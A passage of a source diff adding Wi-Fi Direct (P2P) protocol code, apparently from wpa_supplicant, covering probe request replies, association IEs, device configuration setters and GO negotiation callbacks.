return NULL; + + if (p2p->go_neg_peer) { + /* Advertise immediate availability of WPS credential */ + pw_id = p2p_wps_method_pw_id(p2p->go_neg_peer->wps_method); + } + + if (p2p_build_wps_ie(p2p, buf, pw_id, 1) < 0) { + p2p_dbg(p2p, "Failed to build WPS IE for Probe Response"); + wpabuf_free(buf); + return NULL; + } + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_probe_resp) + wpabuf_put_buf(buf, p2p->wfd_ie_probe_resp); +#endif /* CONFIG_WIFI_DISPLAY */ + + /* P2P IE */ + len = p2p_buf_add_ie_hdr(buf); + p2p_buf_add_capability(buf, p2p->dev_capab & + ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY, 0); + if (p2p->ext_listen_interval) + p2p_buf_add_ext_listen_timing(buf, p2p->ext_listen_period, + p2p->ext_listen_interval); + p2p_buf_add_device_info(buf, p2p, NULL); + p2p_buf_update_ie_hdr(buf, len); + + return buf; +} + + +static enum p2p_probe_req_status +p2p_reply_probe(struct p2p_data *p2p, const u8 *addr, const u8 *dst, + const u8 *bssid, const u8 *ie, size_t ie_len) +{ + struct ieee802_11_elems elems; + struct wpabuf *buf; + struct ieee80211_mgmt *resp; + struct p2p_message msg; + struct wpabuf *ies; + + if (!p2p->in_listen || !p2p->drv_in_listen) { + /* not in Listen state - ignore Probe Request */ + return P2P_PREQ_NOT_LISTEN; + } + + if (ieee802_11_parse_elems((u8 *) ie, ie_len, &elems, 0) == + ParseFailed) { + /* Ignore invalid Probe Request frames */ + return P2P_PREQ_MALFORMED; + } + + if (elems.p2p == NULL) { + /* not a P2P probe - ignore it */ + return P2P_PREQ_NOT_P2P; + } + + if (dst && !is_broadcast_ether_addr(dst) && + os_memcmp(dst, p2p->cfg->dev_addr, ETH_ALEN) != 0) { + /* Not sent to the broadcast address or our P2P Device Address + */ + return P2P_PREQ_NOT_PROCESSED; + } + + if (bssid && !is_broadcast_ether_addr(bssid)) { + /* Not sent to the Wildcard BSSID */ + return P2P_PREQ_NOT_PROCESSED; + } + + if (elems.ssid == NULL || elems.ssid_len != P2P_WILDCARD_SSID_LEN || + os_memcmp(elems.ssid, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN) != + 0) { + /* not using P2P Wildcard SSID - ignore */ + return P2P_PREQ_NOT_PROCESSED; + } + + if (supp_rates_11b_only(&elems)) { + /* Indicates support for 11b rates only */ + return P2P_PREQ_NOT_P2P; + } + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_ies(ie, ie_len, &msg) < 0) { + /* Could not parse P2P attributes */ + return P2P_PREQ_NOT_P2P; + } + + if (msg.device_id && + os_memcmp(msg.device_id, p2p->cfg->dev_addr, ETH_ALEN) != 0) { + /* Device ID did not match */ + p2p_parse_free(&msg); + return P2P_PREQ_NOT_PROCESSED; + } + + /* Check Requested Device Type match */ + if (msg.wps_attributes && + !p2p_match_dev_type(p2p, msg.wps_attributes)) { + /* No match with Requested Device Type */ + p2p_parse_free(&msg); + return P2P_PREQ_NOT_PROCESSED; + } + p2p_parse_free(&msg); + + if (!p2p->cfg->send_probe_resp) { + /* Response generated elsewhere */ + return P2P_PREQ_NOT_PROCESSED; + } + + p2p_dbg(p2p, "Reply to P2P Probe Request in Listen state"); + + /* + * We do not really have a specific BSS that this frame is advertising, + * so build a frame that has some information in valid format. This is + * really only used for discovery purposes, not to learn exact BSS + * parameters. + */ + ies = p2p_build_probe_resp_ies(p2p); + if (ies == NULL) + return P2P_PREQ_NOT_PROCESSED; + + buf = wpabuf_alloc(200 + wpabuf_len(ies)); + if (buf == NULL) { + wpabuf_free(ies); + return P2P_PREQ_NOT_PROCESSED; + } + + resp = NULL; + resp = wpabuf_put(buf, resp->u.probe_resp.variable - (u8 *) resp); + + resp->frame_control = host_to_le16((WLAN_FC_TYPE_MGMT << 2) | + (WLAN_FC_STYPE_PROBE_RESP << 4)); + os_memcpy(resp->da, addr, ETH_ALEN); + os_memcpy(resp->sa, p2p->cfg->dev_addr, ETH_ALEN); + os_memcpy(resp->bssid, p2p->cfg->dev_addr, ETH_ALEN); + resp->u.probe_resp.beacon_int = host_to_le16(100); + /* hardware or low-level driver will setup seq_ctrl and timestamp */ + resp->u.probe_resp.capab_info = + host_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE | + WLAN_CAPABILITY_PRIVACY | + WLAN_CAPABILITY_SHORT_SLOT_TIME); + + wpabuf_put_u8(buf, WLAN_EID_SSID); + wpabuf_put_u8(buf, P2P_WILDCARD_SSID_LEN); + wpabuf_put_data(buf, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN); + + wpabuf_put_u8(buf, WLAN_EID_SUPP_RATES); + wpabuf_put_u8(buf, 8); + wpabuf_put_u8(buf, (60 / 5) | 0x80); + wpabuf_put_u8(buf, 90 / 5); + wpabuf_put_u8(buf, (120 / 5) | 0x80); + wpabuf_put_u8(buf, 180 / 5); + wpabuf_put_u8(buf, (240 / 5) | 0x80); + wpabuf_put_u8(buf, 360 / 5); + wpabuf_put_u8(buf, 480 / 5); + wpabuf_put_u8(buf, 540 / 5); + + wpabuf_put_u8(buf, WLAN_EID_DS_PARAMS); + wpabuf_put_u8(buf, 1); + wpabuf_put_u8(buf, p2p->cfg->channel); + + wpabuf_put_buf(buf, ies); + wpabuf_free(ies); + + p2p->cfg->send_probe_resp(p2p->cfg->cb_ctx, buf); + + wpabuf_free(buf); + + return P2P_PREQ_NOT_PROCESSED; +} + + +enum p2p_probe_req_status +p2p_probe_req_rx(struct p2p_data *p2p, const u8 *addr, const u8 *dst, + const u8 *bssid, const u8 *ie, size_t ie_len) +{ + enum p2p_probe_req_status res; + + p2p_add_dev_from_probe_req(p2p, addr, ie, ie_len); + + res = p2p_reply_probe(p2p, addr, dst, bssid, ie, ie_len); + + if ((p2p->state == P2P_CONNECT || p2p->state == P2P_CONNECT_LISTEN) && + p2p->go_neg_peer && + os_memcmp(addr, p2p->go_neg_peer->info.p2p_device_addr, ETH_ALEN) + == 0 && + !(p2p->go_neg_peer->flags & P2P_DEV_WAIT_GO_NEG_CONFIRM)) { + /* Received a Probe Request from GO Negotiation peer */ + p2p_dbg(p2p, "Found GO Negotiation peer - try to start GO negotiation from timeout"); + eloop_cancel_timeout(p2p_go_neg_start, p2p, NULL); + eloop_register_timeout(0, 0, p2p_go_neg_start, p2p, NULL); + return P2P_PREQ_PROCESSED; + } + + if ((p2p->state == P2P_INVITE || p2p->state == P2P_INVITE_LISTEN) && + p2p->invite_peer && + os_memcmp(addr, p2p->invite_peer->info.p2p_device_addr, ETH_ALEN) + == 0) { + /* Received a Probe Request from Invite peer */ + p2p_dbg(p2p, "Found Invite peer - try to start Invite from timeout"); + eloop_register_timeout(0, 0, p2p_invite_start, p2p, NULL); + return P2P_PREQ_PROCESSED; + } + + return res; +} + + +static int p2p_assoc_req_ie_wlan_ap(struct p2p_data *p2p, const u8 *bssid, + u8 *buf, size_t len, struct wpabuf *p2p_ie) +{ + struct wpabuf *tmp; + u8 *lpos; + size_t tmplen; + int res; + u8 group_capab; + + if (p2p_ie == NULL) + return 0; /* WLAN AP is not a P2P manager */ + + /* + * (Re)Association Request - P2P IE + * P2P Capability attribute (shall be present) + * P2P Interface attribute (present if concurrent device and + * P2P Management is enabled) + */ + tmp = wpabuf_alloc(200); + if (tmp == NULL) + return -1; + + lpos = p2p_buf_add_ie_hdr(tmp); + group_capab = 0; + if (p2p->num_groups > 0) { + group_capab |= P2P_GROUP_CAPAB_GROUP_OWNER; + if ((p2p->dev_capab & P2P_DEV_CAPAB_CONCURRENT_OPER) && + (p2p->dev_capab & P2P_DEV_CAPAB_INFRA_MANAGED) && + p2p->cross_connect) + group_capab |= P2P_GROUP_CAPAB_CROSS_CONN; + } + p2p_buf_add_capability(tmp, p2p->dev_capab, group_capab); + if ((p2p->dev_capab & P2P_DEV_CAPAB_CONCURRENT_OPER) && + (p2p->dev_capab & P2P_DEV_CAPAB_INFRA_MANAGED)) + p2p_buf_add_p2p_interface(tmp, p2p); + p2p_buf_update_ie_hdr(tmp, lpos); + + tmplen = wpabuf_len(tmp); + if (tmplen > len) + res = -1; + else { + os_memcpy(buf, wpabuf_head(tmp), tmplen); + res = tmplen; + } + wpabuf_free(tmp); + + return res; +} + + +int p2p_assoc_req_ie(struct p2p_data *p2p, const u8 *bssid, u8 *buf, + size_t len, int p2p_group, struct wpabuf *p2p_ie) +{ + struct wpabuf *tmp; + u8 *lpos; + struct p2p_device *peer; + size_t tmplen; + int res; + size_t extra = 0; + + if (!p2p_group) + return p2p_assoc_req_ie_wlan_ap(p2p, bssid, buf, len, p2p_ie); + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_assoc_req) + extra = wpabuf_len(p2p->wfd_ie_assoc_req); +#endif /* CONFIG_WIFI_DISPLAY */ + + /* + * (Re)Association Request - P2P IE + * P2P Capability attribute (shall be present) + * Extended Listen Timing (may be present) + * P2P Device Info attribute (shall be present) + */ + tmp = wpabuf_alloc(200 + extra); + if (tmp == NULL) + return -1; + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_assoc_req) + wpabuf_put_buf(tmp, p2p->wfd_ie_assoc_req); +#endif /* CONFIG_WIFI_DISPLAY */ + + peer = bssid ? p2p_get_device(p2p, bssid) : NULL; + + lpos = p2p_buf_add_ie_hdr(tmp); + p2p_buf_add_capability(tmp, p2p->dev_capab, 0); + if (p2p->ext_listen_interval) + p2p_buf_add_ext_listen_timing(tmp, p2p->ext_listen_period, + p2p->ext_listen_interval); + p2p_buf_add_device_info(tmp, p2p, peer); + p2p_buf_update_ie_hdr(tmp, lpos); + + tmplen = wpabuf_len(tmp); + if (tmplen > len) + res = -1; + else { + os_memcpy(buf, wpabuf_head(tmp), tmplen); + res = tmplen; + } + wpabuf_free(tmp); + + return res; +} + + +int p2p_scan_result_text(const u8 *ies, size_t ies_len, char *buf, char *end) +{ + struct wpabuf *p2p_ie; + int ret; + + p2p_ie = ieee802_11_vendor_ie_concat(ies, ies_len, P2P_IE_VENDOR_TYPE); + if (p2p_ie == NULL) + return 0; + + ret = p2p_attr_text(p2p_ie, buf, end); + wpabuf_free(p2p_ie); + return ret; +} + + +int p2p_parse_dev_addr_in_p2p_ie(struct wpabuf *p2p_ie, u8 *dev_addr) +{ + struct p2p_message msg; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_p2p_ie(p2p_ie, &msg)) + return -1; + + if (msg.p2p_device_addr) { + os_memcpy(dev_addr, msg.p2p_device_addr, ETH_ALEN); + return 0; + } else if (msg.device_id) { + os_memcpy(dev_addr, msg.device_id, ETH_ALEN); + return 0; + } + return -1; +} + + +int p2p_parse_dev_addr(const u8 *ies, size_t ies_len, u8 *dev_addr) +{ + struct wpabuf *p2p_ie; + int ret; + + p2p_ie = ieee802_11_vendor_ie_concat(ies, ies_len, + P2P_IE_VENDOR_TYPE); + if (p2p_ie == NULL) + return -1; + ret = p2p_parse_dev_addr_in_p2p_ie(p2p_ie, dev_addr); + wpabuf_free(p2p_ie); + return ret; +} + + +static void p2p_clear_go_neg(struct p2p_data *p2p) +{ + p2p->go_neg_peer = NULL; + p2p_clear_timeout(p2p); + p2p_set_state(p2p, P2P_IDLE); +} + + +void p2p_wps_success_cb(struct p2p_data *p2p, const u8 *mac_addr) +{ + if (p2p->go_neg_peer == NULL) { + p2p_dbg(p2p, "No pending Group Formation - ignore WPS registration success notification"); + return; /* No pending Group Formation */ + } + + if (os_memcmp(mac_addr, p2p->go_neg_peer->intended_addr, ETH_ALEN) != + 0) { + p2p_dbg(p2p, "Ignore WPS registration success notification for " + MACSTR " (GO Negotiation peer " MACSTR ")", + MAC2STR(mac_addr), + MAC2STR(p2p->go_neg_peer->intended_addr)); + return; /* Ignore unexpected peer address */ + } + + p2p_dbg(p2p, "Group Formation completed successfully with " MACSTR, + MAC2STR(mac_addr)); + + p2p_clear_go_neg(p2p); +} + + +void p2p_group_formation_failed(struct p2p_data *p2p) +{ + if (p2p->go_neg_peer == NULL) { + p2p_dbg(p2p, "No pending Group Formation - ignore group formation failure notification"); + return; /* No pending Group Formation */ + } + + p2p_dbg(p2p, "Group Formation failed with " MACSTR, + MAC2STR(p2p->go_neg_peer->intended_addr)); + + p2p_clear_go_neg(p2p); +} + + +struct p2p_data * p2p_init(const struct p2p_config *cfg) +{ + struct p2p_data *p2p; + + if (cfg->max_peers < 1) + return NULL; + + p2p = os_zalloc(sizeof(*p2p) + sizeof(*cfg)); + if (p2p == NULL) + return NULL; + p2p->cfg = (struct p2p_config *) (p2p + 1); + os_memcpy(p2p->cfg, cfg, sizeof(*cfg)); + if (cfg->dev_name) + p2p->cfg->dev_name = os_strdup(cfg->dev_name); + if (cfg->manufacturer) + p2p->cfg->manufacturer = os_strdup(cfg->manufacturer); + if (cfg->model_name) + p2p->cfg->model_name = os_strdup(cfg->model_name); + if (cfg->model_number) + p2p->cfg->model_number = os_strdup(cfg->model_number); + if (cfg->serial_number) + p2p->cfg->serial_number = os_strdup(cfg->serial_number); + if (cfg->pref_chan) { + p2p->cfg->pref_chan = os_malloc(cfg->num_pref_chan * + sizeof(struct p2p_channel)); + if (p2p->cfg->pref_chan) { + os_memcpy(p2p->cfg->pref_chan, cfg->pref_chan, + cfg->num_pref_chan * + sizeof(struct p2p_channel)); + } else + p2p->cfg->num_pref_chan = 0; + } + + p2p->min_disc_int = 1; + p2p->max_disc_int = 3; + p2p->max_disc_tu = -1; + + os_get_random(&p2p->next_tie_breaker, 1); + p2p->next_tie_breaker &= 0x01; + if (cfg->sd_request) + p2p->dev_capab |= P2P_DEV_CAPAB_SERVICE_DISCOVERY; + p2p->dev_capab |= P2P_DEV_CAPAB_INVITATION_PROCEDURE; + if (cfg->concurrent_operations) + p2p->dev_capab |= P2P_DEV_CAPAB_CONCURRENT_OPER; + p2p->dev_capab |= P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY; + + dl_list_init(&p2p->devices); + + eloop_register_timeout(P2P_PEER_EXPIRATION_INTERVAL, 0, + p2p_expiration_timeout, p2p, NULL); + + p2p->go_timeout = 100; + p2p->client_timeout = 20; + + p2p_dbg(p2p, "initialized"); + p2p_channels_dump(p2p, "channels", &p2p->cfg->channels); + p2p_channels_dump(p2p, "cli_channels", &p2p->cfg->cli_channels); + + return p2p; +} + + +void p2p_deinit(struct p2p_data *p2p) +{ +#ifdef CONFIG_WIFI_DISPLAY + wpabuf_free(p2p->wfd_ie_beacon); + wpabuf_free(p2p->wfd_ie_probe_req); + wpabuf_free(p2p->wfd_ie_probe_resp); + wpabuf_free(p2p->wfd_ie_assoc_req); + wpabuf_free(p2p->wfd_ie_invitation); + wpabuf_free(p2p->wfd_ie_prov_disc_req); + wpabuf_free(p2p->wfd_ie_prov_disc_resp); + wpabuf_free(p2p->wfd_ie_go_neg); + wpabuf_free(p2p->wfd_dev_info); + wpabuf_free(p2p->wfd_assoc_bssid); + wpabuf_free(p2p->wfd_coupled_sink_info); +#endif /* CONFIG_WIFI_DISPLAY */ + + eloop_cancel_timeout(p2p_expiration_timeout, p2p, NULL); + eloop_cancel_timeout(p2p_ext_listen_timeout, p2p, NULL); + eloop_cancel_timeout(p2p_scan_timeout, p2p, NULL); + eloop_cancel_timeout(p2p_go_neg_start, p2p, NULL); + p2p_flush(p2p); + p2p_free_req_dev_types(p2p); + os_free(p2p->cfg->dev_name); + os_free(p2p->cfg->manufacturer); + os_free(p2p->cfg->model_name); + os_free(p2p->cfg->model_number); + os_free(p2p->cfg->serial_number); + os_free(p2p->cfg->pref_chan); + os_free(p2p->groups); + wpabuf_free(p2p->sd_resp); + os_free(p2p->after_scan_tx); + p2p_remove_wps_vendor_extensions(p2p); + os_free(p2p->no_go_freq.range); + os_free(p2p); +} + + +void p2p_flush(struct p2p_data *p2p) +{ + struct p2p_device *dev, *prev; + p2p_stop_find(p2p); + dl_list_for_each_safe(dev, prev, &p2p->devices, struct p2p_device, + list) { + dl_list_del(&dev->list); + p2p_device_free(p2p, dev); + } + p2p_free_sd_queries(p2p); + os_free(p2p->after_scan_tx); + p2p->after_scan_tx = NULL; +} + + +int p2p_unauthorize(struct p2p_data *p2p, const u8 *addr) +{ + struct p2p_device *dev; + + dev = p2p_get_device(p2p, addr); + if (dev == NULL) + return -1; + + p2p_dbg(p2p, "Unauthorizing " MACSTR, MAC2STR(addr)); + + if (p2p->go_neg_peer == dev) + p2p->go_neg_peer = NULL; + + dev->wps_method = WPS_NOT_READY; + dev->flags &= ~P2P_DEV_WAIT_GO_NEG_RESPONSE; + dev->flags &= ~P2P_DEV_WAIT_GO_NEG_CONFIRM; + + /* Check if after_scan_tx is for this peer. If so free it */ + if (p2p->after_scan_tx && + os_memcmp(addr, p2p->after_scan_tx->dst, ETH_ALEN) == 0) { + os_free(p2p->after_scan_tx); + p2p->after_scan_tx = NULL; + } + + return 0; +} + + +int p2p_set_dev_name(struct p2p_data *p2p, const char *dev_name) +{ + os_free(p2p->cfg->dev_name); + if (dev_name) { + p2p->cfg->dev_name = os_strdup(dev_name); + if (p2p->cfg->dev_name == NULL) + return -1; + } else + p2p->cfg->dev_name = NULL; + return 0; +} + + +int p2p_set_manufacturer(struct p2p_data *p2p, const char *manufacturer) +{ + os_free(p2p->cfg->manufacturer); + p2p->cfg->manufacturer = NULL; + if (manufacturer) { + p2p->cfg->manufacturer = os_strdup(manufacturer); + if (p2p->cfg->manufacturer == NULL) + return -1; + } + + return 0; +} + + +int p2p_set_model_name(struct p2p_data *p2p, const char *model_name) +{ + os_free(p2p->cfg->model_name); + p2p->cfg->model_name = NULL; + if (model_name) { + p2p->cfg->model_name = os_strdup(model_name); + if (p2p->cfg->model_name == NULL) + return -1; + } + + return 0; +} + + +int p2p_set_model_number(struct p2p_data *p2p, const char *model_number) +{ + os_free(p2p->cfg->model_number); + p2p->cfg->model_number = NULL; + if (model_number) { + p2p->cfg->model_number = os_strdup(model_number); + if (p2p->cfg->model_number == NULL) + return -1; + } + + return 0; +} + + +int p2p_set_serial_number(struct p2p_data *p2p, const char *serial_number) +{ + os_free(p2p->cfg->serial_number); + p2p->cfg->serial_number = NULL; + if (serial_number) { + p2p->cfg->serial_number = os_strdup(serial_number); + if (p2p->cfg->serial_number == NULL) + return -1; + } + + return 0; +} + + +void p2p_set_config_methods(struct p2p_data *p2p, u16 config_methods) +{ + p2p->cfg->config_methods = config_methods; +} + + +void p2p_set_uuid(struct p2p_data *p2p, const u8 *uuid) +{ + os_memcpy(p2p->cfg->uuid, uuid, 16); +} + + +int p2p_set_pri_dev_type(struct p2p_data *p2p, const u8 *pri_dev_type) +{ + os_memcpy(p2p->cfg->pri_dev_type, pri_dev_type, 8); + return 0; +} + + +int p2p_set_sec_dev_types(struct p2p_data *p2p, const u8 dev_types[][8], + size_t num_dev_types) +{ + if (num_dev_types > P2P_SEC_DEVICE_TYPES) + num_dev_types = P2P_SEC_DEVICE_TYPES; + p2p->cfg->num_sec_dev_types = num_dev_types; + os_memcpy(p2p->cfg->sec_dev_type, dev_types, num_dev_types * 8); + return 0; +} + + +void p2p_remove_wps_vendor_extensions(struct p2p_data *p2p) +{ + int i; + + for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { + wpabuf_free(p2p->wps_vendor_ext[i]); + p2p->wps_vendor_ext[i] = NULL; + } +} + + +int p2p_add_wps_vendor_extension(struct p2p_data *p2p, + const struct wpabuf *vendor_ext) +{ + int i; + + if (vendor_ext == NULL) + return -1; + + for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { + if (p2p->wps_vendor_ext[i] == NULL) + break; + } + if (i >= P2P_MAX_WPS_VENDOR_EXT) + return -1; + + p2p->wps_vendor_ext[i] = wpabuf_dup(vendor_ext); + if (p2p->wps_vendor_ext[i] == NULL) + return -1; + + return 0; +} + + +int p2p_set_country(struct p2p_data *p2p, const char *country) +{ + os_memcpy(p2p->cfg->country, country, 3); + return 0; +} + + +void p2p_continue_find(struct p2p_data *p2p) +{ + struct p2p_device *dev; + p2p_set_state(p2p, P2P_SEARCH); + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) { + if (dev->flags & P2P_DEV_SD_SCHEDULE) { + if (p2p_start_sd(p2p, dev) == 0) + return; + else + break; + } else if (dev->req_config_methods && + !(dev->flags & P2P_DEV_PD_FOR_JOIN)) { + p2p_dbg(p2p, "Send pending Provision Discovery Request to " + MACSTR " (config methods 0x%x)", + MAC2STR(dev->info.p2p_device_addr), + dev->req_config_methods); + if (p2p_send_prov_disc_req(p2p, dev, 0, 0) == 0) + return; + } + } + + p2p_listen_in_find(p2p, 1); +} + + +static void p2p_sd_cb(struct p2p_data *p2p, int success) +{ + p2p_dbg(p2p, "Service Discovery Query TX callback: success=%d", + success); + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + + if (!success) { + if (p2p->sd_peer) { + p2p->sd_peer->flags &= ~P2P_DEV_SD_SCHEDULE; + p2p->sd_peer = NULL; + } + p2p_continue_find(p2p); + return; + } + + if (p2p->sd_peer == NULL) { + p2p_dbg(p2p, "No SD peer entry known"); + p2p_continue_find(p2p); + return; + } + + /* Wait for response from the peer */ + p2p_set_state(p2p, P2P_SD_DURING_FIND); + p2p_set_timeout(p2p, 0, 200000); +} + + +/** + * p2p_retry_pd - Retry any pending provision disc requests in IDLE state + * @p2p: P2P module context from p2p_init() + */ +static void p2p_retry_pd(struct p2p_data *p2p) +{ + struct p2p_device *dev; + + if (p2p->state != P2P_IDLE) + return; + + /* + * Retry the prov disc req attempt only for the peer that the user had + * requested. + */ + + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) { + if (os_memcmp(p2p->pending_pd_devaddr, + dev->info.p2p_device_addr, ETH_ALEN) != 0) + continue; + if (!dev->req_config_methods) + continue; + + p2p_dbg(p2p, "Send pending Provision Discovery Request to " + MACSTR " (config methods 0x%x)", + MAC2STR(dev->info.p2p_device_addr), + dev->req_config_methods); + p2p_send_prov_disc_req(p2p, dev, + dev->flags & P2P_DEV_PD_FOR_JOIN, + p2p->pd_force_freq); + return; + } +} + + +static void p2p_prov_disc_cb(struct p2p_data *p2p, int success) +{ + p2p_dbg(p2p, "Provision Discovery Request TX callback: success=%d", + success); + + /* + * Postpone resetting the pending action state till after we actually + * time out. This allows us to take some action like notifying any + * interested parties about no response to the request. + * + * When the timer (below) goes off we check in IDLE, SEARCH, or + * LISTEN_ONLY state, which are the only allowed states to issue a PD + * requests in, if this was still pending and then raise notification. + */ + + if (!success) { + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + + if (p2p->user_initiated_pd && + (p2p->state == P2P_SEARCH || p2p->state == P2P_LISTEN_ONLY)) + { + /* Retry request from timeout to avoid busy loops */ + p2p->pending_action_state = P2P_PENDING_PD; + p2p_set_timeout(p2p, 0, 50000); + } else if (p2p->state != P2P_IDLE) + p2p_continue_find(p2p); + else if (p2p->user_initiated_pd) { + p2p->pending_action_state = P2P_PENDING_PD; + p2p_set_timeout(p2p, 0, 300000); + } + return; + } + + /* + * This postponing, of resetting pending_action_state, needs to be + * done only for user initiated PD requests and not internal ones. + */ + if (p2p->user_initiated_pd) + p2p->pending_action_state = P2P_PENDING_PD; + else + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + + /* Wait for response from the peer */ + if (p2p->state == P2P_SEARCH) + p2p_set_state(p2p, P2P_PD_DURING_FIND); + p2p_set_timeout(p2p, 0, 200000); +} + + +int p2p_scan_res_handler(struct p2p_data *p2p, const u8 *bssid, int freq, + struct os_time *rx_time, int level, const u8 *ies, + size_t ies_len) +{ + if (os_time_before(rx_time, &p2p->find_start)) { + /* + * The driver may have cached (e.g., in cfg80211 BSS table) the + * scan results for relatively long time. To avoid reporting + * stale information, update P2P peers only based on results + * that have based on frames received after the last p2p_find + * operation was started. + */ + p2p_dbg(p2p, "Ignore old scan result for " MACSTR + " (rx_time=%u.%06u)", + MAC2STR(bssid), (unsigned int) rx_time->sec, + (unsigned int) rx_time->usec); + return 0; + } + + p2p_add_device(p2p, bssid, freq, rx_time, level, ies, ies_len, 1); + + return 0; +} + + +void p2p_scan_res_handled(struct p2p_data *p2p) +{ + if (!p2p->p2p_scan_running) { + p2p_dbg(p2p, "p2p_scan was not running, but scan results received"); + } + p2p->p2p_scan_running = 0; + eloop_cancel_timeout(p2p_scan_timeout, p2p, NULL); + + if (p2p_run_after_scan(p2p)) + return; + if (p2p->state == P2P_SEARCH) + p2p_continue_find(p2p); +} + + +void p2p_scan_ie(struct p2p_data *p2p, struct wpabuf *ies, const u8 *dev_id) +{ + u8 *len; + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_probe_req) + wpabuf_put_buf(ies, p2p->wfd_ie_probe_req); +#endif /* CONFIG_WIFI_DISPLAY */ + + len = p2p_buf_add_ie_hdr(ies); + p2p_buf_add_capability(ies, p2p->dev_capab & + ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY, 0); + if (dev_id) + p2p_buf_add_device_id(ies, dev_id); + if (p2p->cfg->reg_class && p2p->cfg->channel) + p2p_buf_add_listen_channel(ies, p2p->cfg->country, + p2p->cfg->reg_class, + p2p->cfg->channel); + if (p2p->ext_listen_interval) + p2p_buf_add_ext_listen_timing(ies, p2p->ext_listen_period, + p2p->ext_listen_interval); + /* TODO: p2p_buf_add_operating_channel() if GO */ + p2p_buf_update_ie_hdr(ies, len); +} + + +size_t p2p_scan_ie_buf_len(struct p2p_data *p2p) +{ + size_t len = 100; + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p && p2p->wfd_ie_probe_req) + len += wpabuf_len(p2p->wfd_ie_probe_req); +#endif /* CONFIG_WIFI_DISPLAY */ + + return len; +} + + +int p2p_ie_text(struct wpabuf *p2p_ie, char *buf, char *end) +{ + return p2p_attr_text(p2p_ie, buf, end); +} + + +static void p2p_go_neg_req_cb(struct p2p_data *p2p, int success) +{ + struct p2p_device *dev = p2p->go_neg_peer; + int timeout; + + p2p_dbg(p2p, "GO Negotiation Request TX callback: success=%d", success); + + if (dev == NULL) { + p2p_dbg(p2p, "No pending GO Negotiation"); + return; + } + + if (success) { + if (dev->flags & P2P_DEV_USER_REJECTED) { + p2p_set_state(p2p, P2P_IDLE); + return; + } + } else if (dev->go_neg_req_sent) { + /* Cancel the increment from p2p_connect_send() on failure */ + dev->go_neg_req_sent--; + } + + if (!success && + (dev->info.dev_capab & P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY) && + !is_zero_ether_addr(dev->member_in_go_dev)) { + p2p_dbg(p2p, "Peer " MACSTR " did not acknowledge request - try to use device discoverability through its GO", + MAC2STR(dev->info.p2p_device_addr)); + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + p2p_send_dev_disc_req(p2p, dev); + return; + } + + /* + * Use P2P find, if needed, to find the other device from its listen + * channel. + */ + p2p_set_state(p2p, P2P_CONNECT); + timeout = success ? 500000 : 100000; + if (!success && p2p->go_neg_peer && + (p2p->go_neg_peer->flags & P2P_DEV_PEER_WAITING_RESPONSE)) { + unsigned int r; + /* + * Peer is expected to wait our response and we will skip the + * listen phase. Add some randomness to the wait time here to + * make it less likely to hit cases where we could end up in + * sync with peer not listening. + */ + os_get_random((u8 *) &r, sizeof(r)); + timeout += r % 100000; + } + p2p_set_timeout(p2p, 0, timeout); +} + + +static void p2p_go_neg_resp_cb(struct p2p_data *p2p, int success) +{ + p2p_dbg(p2p, "GO Negotiation Response TX callback: success=%d", + success); + if (!p2p->go_neg_peer && p2p->state == P2P_PROVISIONING) { + p2p_dbg(p2p, "Ignore TX callback event - GO Negotiation is not running anymore"); + return; + } + p2p_set_state(p2p, P2P_CONNECT); + p2p_set_timeout(p2p, 0, 500000); +} + + +static void p2p_go_neg_resp_failure_cb(struct p2p_data *p2p, int success, + const u8 *addr) +{ + p2p_dbg(p2p, "GO Negotiation Response (failure) TX callback: success=%d", success); + if (p2p->go_neg_peer && p2p->go_neg_peer->status != P2P_SC_SUCCESS) { + p2p_go_neg_failed(p2p, p2p->go_neg_peer, + p2p->go_neg_peer->status); + } else if (success) { + struct p2p_device *dev; + dev = p2p_get_device(p2p, addr); + if (dev && + dev->status == P2P_SC_FAIL_INFO_CURRENTLY_UNAVAILABLE) + dev->flags |= P2P_DEV_PEER_WAITING_RESPONSE; + } +} + + +static void p2p_go_neg_conf_cb(struct p2p_data *p2p, + enum p2p_send_action_result result) +{ + struct p2p_device *dev; + + p2p_dbg(p2p, "GO Negotiation Confirm TX callback: result=%d", result); + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + if (result == P2P_SEND_ACTION_FAILED) { + p2p_go_neg_failed(p2p, p2p->go_neg_peer, -1); + return; + } + if (result == P2P_SEND_ACTION_NO_ACK) { + /* + * It looks like the TX status for GO Negotiation Confirm is + * often showing failure even when the peer has actually + * received the frame. Since the peer may change channels + * immediately after having received the frame, we may not see + * an Ack for retries, so just dropping a single frame may + * trigger this. To allow the group formation to succeed if the + * peer did indeed receive the frame, continue regardless of + * the TX status. + */ + p2p_dbg(p2p, "Assume GO Negotiation Confirm TX was actually received by the peer even though Ack was not reported"); + } + + dev = p2p->go_neg_peer; + if (dev == NULL) + return; + + p2p_go_complete(p2p, dev); +} + + +void p2p_send_action_cb(struct p2p_data *p2p, unsigned int freq, const u8 *dst, + const u8 *src, const u8 *bssid, + enum p2p_send_action_result result) +{ + enum p2p_pending_action_state state; + int success; + + p2p_dbg(p2p, "Action frame TX callback (state=%d freq=%u dst=" MACSTR + " src=" MACSTR " bssid=" MACSTR " result=%d", + p2p->pending_action_state, freq, MAC2STR(dst), MAC2STR(src), + MAC2STR(bssid), result); + success = result == P2P_SEND_ACTION_SUCCESS; + state = p2p->pending_action_state; + 